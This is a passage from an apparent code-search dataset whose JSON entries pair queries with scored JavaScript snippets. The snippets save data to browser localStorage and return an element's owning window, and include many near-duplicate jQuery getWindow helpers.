window.localStorage.setItem(\"mineMethod\", JSON.stringify(mineMethod))\n console.log('game-saved')\n}", "title": "" }, { "docid": "876517726525bdea3d9cfc46b351ecc0", "score": "0.63320225", "text": "function saveToStorage(name, value)\n{\n if (typeof (Storage) !== \"undefined\")\n {\n localStorage.setItem(name, JSON.stringify(value));\n }\n else\n {\n console.error(\"Browser doen't support HTML5 localStorage\");\n }\n}", "title": "" }, { "docid": "610c0e8787dfc49de6ba6792a4b8ef06", "score": "0.6330995", "text": "function setStorage() {\n// alert(\"Storage SET\");\n \n // SIMPLE KEY_VALUE PAIRS\n window.localStorage.setItem( \"Pen\", \"Red\" );\n window.localStorage.setItem( \"Phone\", \"Moto 5\" );\n window.localStorage.setItem( \"Laptop\", \"PC Specialist\" );\n \n // COMPLEX OBJECT SERIALISATION\n var chocoBars = JSON.stringify(getChocoBars());\n window.localStorage.setItem(\"Bars\", chocoBars);\n \n \n setText();\n}", "title": "" }, { "docid": "f152f00e913711d75a3c08fba7203aea", "score": "0.6326754", "text": "function storage() {\n\n window.localStorage.todoList = list.innerHTML;\n\n}", "title": "" }, { "docid": "7e039f6670f122303c0f7ee0d2830d0a", "score": "0.63158244", "text": "function saveLocalTodos(todo) {\r\n // check -- do i have thing in localstorage?\r\n let todos = checkTodosInLocalStorage();\r\n todos.push(todo);\r\n localStorage.setItem(\"todos\", JSON.stringify(todos));\r\n}", "title": "" }, { "docid": "0bcfe53c605b139c7a251770e333f486", "score": "0.6313493", "text": "function sentToLocalStorage(userName) {\n localStorage.setItem('name', JSON.stringify(userName));\n }", "title": "" }, { "docid": "a242e18bfe64c383adfb947cf4bba9a5", "score": "0.6312922", "text": "function updateLocalStorage(){\n //localStorageService.add(\"todos_list\", $scope.todoList);\n }", "title": "" }, { "docid": "22156a923beba13444072c37168bec66", "score": "0.63097256", "text": "function persist() {\n\t//window.localStorage['notes'] = notes\n\t//convert to\n\twindow.localStorage['notes'] = angular.toJson(notes);\n}", "title": "" }, { "docid": "c0496c87fd70811b465e4ffa7a920175", "score": "0.6308365", "text": "function StorageOfDetails(){\n localStorage.setItem(\"UserNameStorage\" , userName.value);\n localStorage.setItem(\"confirmPasswordStorage\", confirmPassword.value); \n redirect();\n}", "title": "" }, { "docid": "73ff65ecc0984a78cbcb705765a44254", "score": "0.6306001", "text": "function saveReminder (id, content) {\n localStorage.setItem(id, content);\n }", "title": "" }, { "docid": "d283ed3ad6b46f8ddff0aab4808bf0f7", "score": "0.6304798", "text": "function setValue(name, value) {\n\tlocalStorage.setItem(name, value);\n}", "title": "" }, { "docid": "7bfd87a34b9cccd4d1c4a6bb3d95a33a", "score": "0.6300286", "text": "function setToChromeStorageGlobal(theName, theValue) {\n console.log(theName, theValue)\n var myobj = {};\n myobj[theName] = theValue;\n chrome.storage.local.set(myobj, function () {\n });\n}", "title": "" }, { "docid": "55ee709c0df4c5d40a417492a137cba2", "score": "0.6296505", "text": "saveChatsToLocalStorage(username, chats) {\n if (localStorage) {\n localStorage.setItem(username, chats);\n }\n }", "title": "" }, { "docid": "20da8355cfab5e5f780129b6d3023a60", "score": "0.6293374", "text": "save() {\n if (window.localStorage) {\n window.localStorage.setItem(this.KEY, JSON.stringify([this.notes, this.active]));\n }\n }", "title": "" }, { "docid": "b9ca7f11b0a069d96763ae4be4f7ff71", "score": "0.62866014", "text": "function localStorageSave() {\n\t\tlocalStorage.setItem(\"tasks\", listContainer.innerHTML);\n\t}", "title": "" }, { "docid": "7499ac3144764efa16de3ae583006be4", "score": "0.6284762", "text": "function saveMemeToStorage() {\n saveToStorage('Meme', gMeme);\n}", "title": "" }, { "docid": "296a44f09a27027a44582a4e003e3c95", "score": "0.6278774", "text": "function save_data(data){\n\t// Get a value saved in a form.\n //var theValue = textarea.value;\n // Check that there's some code there.\n if (!data) {\n //message('Error: No value specified');\n return;\n }\n\n chrome.storage.local.set({'friends_list': data}, function() {\n console.log('Settings saved');\n console.log(localStorage[\"friends_list\"]);\n });\n\n alert(\"all done updating\");\n\n}", "title": "" }, { "docid": "fd5a236596332de2bee1466110f76119", "score": "0.62772906", "text": "function saveReminders() {\n localStorage.setItem(\"myday\",JSON.stringify(myDay));\n}", "title": "" }, { "docid": "29fef9afb6f9a3b4d5c6949bd598393f", "score": "0.6275764", "text": "static saveHats(hats) {\n //saved it as a string\n localStorage.setItem('hats', JSON.stringify(hats));\n }", "title": "" }, { "docid": "35757357bc142cf7dbd5141982b538c3", "score": "0.62738806", "text": "putLS(key, value) {\n localStorage.setItem(auth.username + \":\"+ key, JSON.stringify(value));\n }", "title": "" }, { "docid": "ca2b6c84f4ee44e6b7fa83cbf4e5f426", "score": "0.6269038", "text": "function store() {\r\n localStorage.setItem('uname', uname.value);\r\n localStorage.setItem('uemail', uemail.value);\r\n localStorage.setItem('unumber', unumber.value);\r\n localStorage.setItem('psw', pw.value);\r\n \r\n}", "title": "" }, { "docid": "78a18ec43f918543a7ca0d79b62a4285", "score": "0.6263338", "text": "function saveName(text){\n\t\t\t\tlocalStorage.setItem(USER_LS,text);\n\t\t\t\t}", "title": "" }, { "docid": "afa7524d7740e93455637ec47ea5abcf", "score": "0.6263284", "text": "function storeLocal(task) {\n\tlet tasks;\n\n\tif (localStorage.getItem('tasks') === null) tasks = [];\n\telse tasks = JSON.parse(localStorage.getItem('tasks'));\n\tconsole.log(tasks);\n\ttasks.push(task);\n\tlocalStorage.setItem('tasks', JSON.stringify(tasks));\n}", "title": "" }, { "docid": "521735064de28b3721d1077159c14351", "score": "0.6260204", "text": "function updateFavourites() {\n localStorage.setItem(\"favouritesList\", favouritesList);\n}", "title": "" }, { "docid": "3be1b9c422b24697e7fa29f056309c99", "score": "0.6257107", "text": "function populateStorage() {\n localStorage.setItem(\"firstname\", \"Nikola\");\n localStorage.setItem(\"lastname\", \"Djordjevic\");\n localStorage.setItem(\"age\", \"30\");\n}", "title": "" }, { "docid": "e0d25c92f27817e17809c40255e17aa5", "score": "0.6256929", "text": "function saveTodos() {\n localStorage.setItem('todos', JSON.stringify(todos));\n}", "title": "" } ]
6fbf799ca4e2c041c8959bdd1b321483
Returns `element.ownerDocument.defaultView || window`.
[ { "docid": "9570098811d37b8e50119a9e2b1c9437", "score": "0.81653756", "text": "function getWindow(element) {\n if (!element) {\n return _window;\n }\n\n return getDocument(element).defaultView || _window;\n}", "title": "" } ]
[ { "docid": "ab730058adf446a6b08d973dc173a45e", "score": "0.85432726", "text": "function element_window(node) {\n\t\tvar the_doc = node.ownerDocument ? node.ownerDocument : node;\n\t\treturn the_doc.defaultView || the_doc.parentWindow;\n\t}", "title": "" }, { "docid": "53d7ed17e68f17ab03d2cf4e5c3d74cd", "score": "0.81551766", "text": "function getOwnerWindow(element) {\n var ownerDocument = getOwnerDocument(element);\n return ownerDocument ? ownerDocument.defaultView || window : null;\n}", "title": "" }, { "docid": "fae559766a739933c0e93fc1ce7b04d4", "score": "0.7910887", "text": "function ownerWindow(node) {\n var doc = (0, _ownerDocument.default)(node);\n return doc && doc.defaultView || window;\n}", "title": "" }, { "docid": "fae559766a739933c0e93fc1ce7b04d4", "score": "0.7910887", "text": "function ownerWindow(node) {\n var doc = (0, _ownerDocument.default)(node);\n return doc && doc.defaultView || window;\n}", "title": "" }, { "docid": "cecadddf9edd9bd454f797ea8ec1a382", "score": "0.7866511", "text": "_getWindow() {\n const doc = this._getDocument();\n return doc.defaultView || window;\n }", "title": "" }, { "docid": "cecadddf9edd9bd454f797ea8ec1a382", "score": "0.7866511", "text": "_getWindow() {\n const doc = this._getDocument();\n return doc.defaultView || window;\n }", "title": "" }, { "docid": "cecadddf9edd9bd454f797ea8ec1a382", "score": "0.7866511", "text": "_getWindow() {\n const doc = this._getDocument();\n return doc.defaultView || window;\n }", "title": "" }, { "docid": "cecadddf9edd9bd454f797ea8ec1a382", "score": "0.7866511", "text": "_getWindow() {\n const doc = this._getDocument();\n return doc.defaultView || window;\n }", "title": "" }, { "docid": "da7cf9c5e2b72df24fcf08eef1b4e5b8", "score": "0.78431267", "text": "getWindow () {\n return this.refs.container ? (this.refs.container.ownerDocument.defaultView || window) : window\n }", "title": "" }, { "docid": "59ce75716cc867088c216401d294a816", "score": "0.7813502", "text": "_getWindow() {\n const doc = this._getDocument();\n return doc.defaultView || window;\n }", "title": "" }, { "docid": "32d49c7344ba7dc0277768c67e901a1e", "score": "0.78083986", "text": "_getWindow() {\n var _a;\n return ((_a = this._document) === null || _a === void 0 ? void 0 : _a.defaultView) || window;\n }", "title": "" }, { "docid": "1a7902d06bbec01dabdac470f4c7b25c", "score": "0.7782301", "text": "_getWindow() {\n return this._document.defaultView || window;\n }", "title": "" }, { "docid": "1a7902d06bbec01dabdac470f4c7b25c", "score": "0.7782301", "text": "_getWindow() {\n return this._document.defaultView || window;\n }", "title": "" }, { "docid": "1a7902d06bbec01dabdac470f4c7b25c", "score": "0.7782301", "text": "_getWindow() {\n return this._document.defaultView || window;\n }", "title": "" }, { "docid": "1a7902d06bbec01dabdac470f4c7b25c", "score": "0.7782301", "text": "_getWindow() {\n return this._document.defaultView || window;\n }", "title": "" }, { "docid": "1a7902d06bbec01dabdac470f4c7b25c", "score": "0.7782301", "text": "_getWindow() {\n return this._document.defaultView || window;\n }", "title": "" }, { "docid": "79c75d0a6424b67ef2cf89b7e418baa1", "score": "0.7780164", "text": "function getWindow(node) {\n return node.ownerDocument.defaultView;\n}", "title": "" }, { "docid": "0ccc6ef9cd0e7cebcdb32ed848fb0d25", "score": "0.77144325", "text": "function getWindowOf(target) {\n // Assume that the element is an instance of Node, which means that it\n // has the \"ownerDocument\" property from which we can retrieve a\n // corresponding global object.\n var ownerGlobal = target && target.ownerDocument && target.ownerDocument.defaultView; // Return the local window object if it's not possible extract one from\n // provided element.\n\n return ownerGlobal || window;\n}", "title": "" }, { "docid": "27abf24148972f7180f2ecf78dbb47ac", "score": "0.77091753", "text": "_getWindow() {\n const win = this._document.defaultView || window;\n return typeof win === 'object' && win ? win : null;\n }", "title": "" }, { "docid": "27abf24148972f7180f2ecf78dbb47ac", "score": "0.77091753", "text": "_getWindow() {\n const win = this._document.defaultView || window;\n return typeof win === 'object' && win ? win : null;\n }", "title": "" }, { "docid": "27abf24148972f7180f2ecf78dbb47ac", "score": "0.77091753", "text": "_getWindow() {\n const win = this._document.defaultView || window;\n return typeof win === 'object' && win ? win : null;\n }", "title": "" }, { "docid": "a504f68462e8beca454fa5e9a7302efc", "score": "0.7702748", "text": "function getWindow(node) {\n // ownerDocument is null if `node` itself *is* a document.\n return node.ownerDocument && node.ownerDocument.defaultView || window;\n }", "title": "" }, { "docid": "020d22daff01e0bbd956086b7bd7528b", "score": "0.7686768", "text": "function ownerWindow(node) {\n var doc = Object(_ownerDocument__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(node);\n return doc && doc.defaultView || window;\n}", "title": "" }, { "docid": "c73fea845dc292bac120abb4cefb1ff9", "score": "0.76857615", "text": "_getWindow() {\n return this._document?.defaultView || window;\n }", "title": "" }, { "docid": "376acc22ba96a98aab00ef4e4a6ab3d2", "score": "0.7656206", "text": "function getWindow(node) {\n // ownerDocument is null if `node` itself *is* a document.\n return node.ownerDocument && node.ownerDocument.defaultView || window;\n}", "title": "" }, { "docid": "376acc22ba96a98aab00ef4e4a6ab3d2", "score": "0.7656206", "text": "function getWindow(node) {\n // ownerDocument is null if `node` itself *is* a document.\n return node.ownerDocument && node.ownerDocument.defaultView || window;\n}", "title": "" }, { "docid": "6dc87e4d4d3894c54c746bc0ec4787ab", "score": "0.7649436", "text": "function getWindow(elem) {\n return jQuery.isWindow(elem) ? elem : elem.nodeType === 9 && elem.defaultView;\n }", "title": "" }, { "docid": "43042581a1e87ec75077c466fc28686c", "score": "0.76341003", "text": "function getWindow(elem){return jQuery.isWindow(elem)?elem:9===elem.nodeType&&elem.defaultView}", "title": "" }, { "docid": "d4f9361ec3d402d6c02e240c49b889f4", "score": "0.762756", "text": "function getWindow(rootElement) {\r\n if (_isSSR || typeof window === 'undefined') {\r\n return undefined;\r\n }\r\n else {\r\n return (rootElement &&\r\n rootElement.ownerDocument &&\r\n rootElement.ownerDocument.defaultView ?\r\n rootElement.ownerDocument.defaultView :\r\n window);\r\n }\r\n}", "title": "" }, { "docid": "d4f9361ec3d402d6c02e240c49b889f4", "score": "0.762756", "text": "function getWindow(rootElement) {\r\n if (_isSSR || typeof window === 'undefined') {\r\n return undefined;\r\n }\r\n else {\r\n return (rootElement &&\r\n rootElement.ownerDocument &&\r\n rootElement.ownerDocument.defaultView ?\r\n rootElement.ownerDocument.defaultView :\r\n window);\r\n }\r\n}", "title": "" }, { "docid": "d4f9361ec3d402d6c02e240c49b889f4", "score": "0.762756", "text": "function getWindow(rootElement) {\r\n if (_isSSR || typeof window === 'undefined') {\r\n return undefined;\r\n }\r\n else {\r\n return (rootElement &&\r\n rootElement.ownerDocument &&\r\n rootElement.ownerDocument.defaultView ?\r\n rootElement.ownerDocument.defaultView :\r\n window);\r\n }\r\n}", "title": "" }, { "docid": "d4f9361ec3d402d6c02e240c49b889f4", "score": "0.762756", "text": "function getWindow(rootElement) {\r\n if (_isSSR || typeof window === 'undefined') {\r\n return undefined;\r\n }\r\n else {\r\n return (rootElement &&\r\n rootElement.ownerDocument &&\r\n rootElement.ownerDocument.defaultView ?\r\n rootElement.ownerDocument.defaultView :\r\n window);\r\n }\r\n}", "title": "" }, { "docid": "d4f9361ec3d402d6c02e240c49b889f4", "score": "0.762756", "text": "function getWindow(rootElement) {\r\n if (_isSSR || typeof window === 'undefined') {\r\n return undefined;\r\n }\r\n else {\r\n return (rootElement &&\r\n rootElement.ownerDocument &&\r\n rootElement.ownerDocument.defaultView ?\r\n rootElement.ownerDocument.defaultView :\r\n window);\r\n }\r\n}", "title": "" }, { "docid": "d4f9361ec3d402d6c02e240c49b889f4", "score": "0.762756", "text": "function getWindow(rootElement) {\r\n if (_isSSR || typeof window === 'undefined') {\r\n return undefined;\r\n }\r\n else {\r\n return (rootElement &&\r\n rootElement.ownerDocument &&\r\n rootElement.ownerDocument.defaultView ?\r\n rootElement.ownerDocument.defaultView :\r\n window);\r\n }\r\n}", "title": "" }, { "docid": "d4f9361ec3d402d6c02e240c49b889f4", "score": "0.762756", "text": "function getWindow(rootElement) {\r\n if (_isSSR || typeof window === 'undefined') {\r\n return undefined;\r\n }\r\n else {\r\n return (rootElement &&\r\n rootElement.ownerDocument &&\r\n rootElement.ownerDocument.defaultView ?\r\n rootElement.ownerDocument.defaultView :\r\n window);\r\n }\r\n}", "title": "" }, { "docid": "a556bce7cac8aea345401505c22aab69", "score": "0.7621269", "text": "function getWindow(elem){return jQuery.isWindow(elem)?elem:elem.nodeType === 9?elem.defaultView || elem.parentWindow:false;}", "title": "" }, { "docid": "f1890f8fda72fed098a024b3c14a0f6d", "score": "0.75944924", "text": "function getWindow(rootElement) {\n\t if (_isSSR || typeof window === 'undefined') {\n\t return undefined;\n\t }\n\t else {\n\t return (rootElement &&\n\t rootElement.ownerDocument &&\n\t rootElement.ownerDocument.defaultView ?\n\t rootElement.ownerDocument.defaultView :\n\t window);\n\t }\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "c9a342503247e4a1235d07ecb8d2a9f2", "score": "0.7577524", "text": "function getWindow( elem ) {\n\t\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t}", "title": "" }, { "docid": "7a5e961387bbc865eeb4cf38d3d15db4", "score": "0.75732976", "text": "function getWindow(rootElement) {\n if (_setSSR__WEBPACK_IMPORTED_MODULE_0__[\"_isSSR\"] || typeof _window === 'undefined') {\n return undefined;\n } else {\n var el = rootElement;\n return el && el.ownerDocument && el.ownerDocument.defaultView ? el.ownerDocument.defaultView : _window;\n }\n}", "title": "" }, { "docid": "3bbc1afa1269244b34d5a35c7f940f6c", "score": "0.75703174", "text": "function getWindow(rootElement) {\n if (_setSSR__WEBPACK_IMPORTED_MODULE_0__[\"_isSSR\"] || typeof _window === 'undefined') {\n return undefined;\n }\n else {\n var el = rootElement;\n return el && el.ownerDocument && el.ownerDocument.defaultView ? el.ownerDocument.defaultView : _window;\n }\n}", "title": "" }, { "docid": "3bbc1afa1269244b34d5a35c7f940f6c", "score": "0.75703174", "text": "function getWindow(rootElement) {\n if (_setSSR__WEBPACK_IMPORTED_MODULE_0__[\"_isSSR\"] || typeof _window === 'undefined') {\n return undefined;\n }\n else {\n var el = rootElement;\n return el && el.ownerDocument && el.ownerDocument.defaultView ? el.ownerDocument.defaultView : _window;\n }\n}", "title": "" }, { "docid": "3bbc1afa1269244b34d5a35c7f940f6c", "score": "0.75703174", "text": "function getWindow(rootElement) {\n if (_setSSR__WEBPACK_IMPORTED_MODULE_0__[\"_isSSR\"] || typeof _window === 'undefined') {\n return undefined;\n }\n else {\n var el = rootElement;\n return el && el.ownerDocument && el.ownerDocument.defaultView ? el.ownerDocument.defaultView : _window;\n }\n}", "title": "" }, { "docid": "3bbc1afa1269244b34d5a35c7f940f6c", "score": "0.75703174", "text": "function getWindow(rootElement) {\n if (_setSSR__WEBPACK_IMPORTED_MODULE_0__[\"_isSSR\"] || typeof _window === 'undefined') {\n return undefined;\n }\n else {\n var el = rootElement;\n return el && el.ownerDocument && el.ownerDocument.defaultView ? el.ownerDocument.defaultView : _window;\n }\n}", "title": "" }, { "docid": "3bbc1afa1269244b34d5a35c7f940f6c", "score": "0.75703174", "text": "function getWindow(rootElement) {\n if (_setSSR__WEBPACK_IMPORTED_MODULE_0__[\"_isSSR\"] || typeof _window === 'undefined') {\n return undefined;\n }\n else {\n var el = rootElement;\n return el && el.ownerDocument && el.ownerDocument.defaultView ? el.ownerDocument.defaultView : _window;\n }\n}", "title": "" }, { "docid": "ea53c585018118bab13821e3bf96fd64", "score": "0.75649136", "text": "function getWindow( elem ) {\n return jQuery.isWindow( elem ) ?\n elem :\n elem.nodeType === 9 ?\n elem.defaultView || elem.parentWindow :\n false;\n}", "title": "" }, { "docid": "ea53c585018118bab13821e3bf96fd64", "score": "0.75649136", "text": "function getWindow( elem ) {\n return jQuery.isWindow( elem ) ?\n elem :\n elem.nodeType === 9 ?\n elem.defaultView || elem.parentWindow :\n false;\n}", "title": "" }, { "docid": "e07252e14ba7a3db3c07921715b79efe", "score": "0.75551194", "text": "function getWindow(elem) {\n\t\t\treturn jQuery.isWindow(elem) ? elem : elem.nodeType === 9 && elem.defaultView;\n\t\t}", "title": "" }, { "docid": "49ac0ecb477a91164cb0fe4a7c8162fd", "score": "0.7547264", "text": "function getWindow( elem ) {\n return jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn 